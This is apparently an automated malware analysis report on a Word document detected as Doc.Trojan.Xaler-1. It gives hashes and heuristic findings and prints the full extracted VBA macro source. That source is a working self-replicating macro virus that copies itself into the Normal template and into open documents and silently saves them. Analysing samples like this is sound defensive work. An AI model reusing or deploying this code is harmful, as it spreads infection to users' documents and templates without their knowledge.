Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fed56652b89d79a0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2012-05-28 05:28:00 Authoring application: Microsoft Office Word First seen: 2012-09-14
MD5: 1eb21f050eef2a6baf4f16454945410b SHA-1: c8ede1463b0c2381155f68fe391e5317a7537035 SHA-256: fed56652b89d79a0f101f12b7c76041c843c247c0516e013d76314d40f0d2e8e
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2208 bytes
SHA-256: ffcf92b67299c846102a62c21a1838f1f2330d335fe2d7ac2ea6b1ce913fcaeb
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub